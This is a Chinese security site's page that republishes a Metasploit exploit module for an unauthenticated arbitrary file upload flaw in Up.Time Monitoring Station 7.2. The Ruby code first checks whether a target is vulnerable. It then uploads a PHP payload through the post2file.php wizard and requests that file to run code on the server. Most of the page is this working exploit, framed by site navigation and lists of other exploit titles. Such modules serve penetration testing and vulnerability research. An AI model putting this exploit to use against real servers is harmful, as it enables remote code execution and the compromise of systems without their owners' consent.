首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Up.Time Monitoring Station post2file.php Arbitrary File Upload
来源:metasploit.com 作者:Andzakovic 发布时间:2013-12-09  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Up.Time Monitoring Station post2file.php Arbitrary File Upload',
      'Description'    => %q{
          This module exploits an arbitrary file upload vulnerability found within the Up.Time
          monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
          webroot without authentication, leading to arbitrary code execution.
      },
      'Author'         =>
        [
          'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '100423' ],
          [ 'BID', '64031'],
          [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
        ],
      'Payload'            =>
        {
          'Space' => 10000, # just a big enough number to fit any PHP payload
          'DisableNops' => true
        },
      'Platform'       => 'php',
      'Arch'         => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Up.Time 7.2', { } ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 19 2013'))

    register_options([
      OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
      Opt::RPORT(9999)
    ], self.class)
  end

  def check
    uri =  target_uri.path

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, 'wizards', 'post2file.php')
    })

    if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Unknown

  end

  def exploit
    print_status("#{peer} - Uploading PHP to Up.Time server")
    uri =  target_uri.path

    @payload_name = "#{rand_text_alpha(5)}.php"
    php_payload = get_write_exec_payload(:unlink_self => true)

    post_data = ({
      "file_name" => @payload_name,
      "script" => php_payload
    })

    print_status("#{peer} - Uploading payload #{@payload_name}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, 'wizards', 'post2file.php'),
      'vars_post'   => post_data,
    })

    unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
    end

    print_status("#{peer} - Executing payload #{@payload_name}")
    res = send_request_cgi({
      'uri'    => normalize_uri(uri, 'wizards', @payload_name),
      'method' => 'GET'
    })
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Eaton Network Shutdown Module
·ad GOM Player 2.2.53.5169 - SE
·D-Link DSR Router Remote Root
·vBulletin index.php/ajax/api/r
·Steinberg MyMp3PRO 5.0 - Buffe
·HP LoadRunner EmulationAdmin W
·Joomla Hotornot2 Shell Upload
·Adobe ColdFusion 9 Administrat
·Kaseya uploadImage Arbitrary F
·EMC Data Protection Advisor DP
·OpenSSL Denial Of Service
·Divide Error In Windows Kernel
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved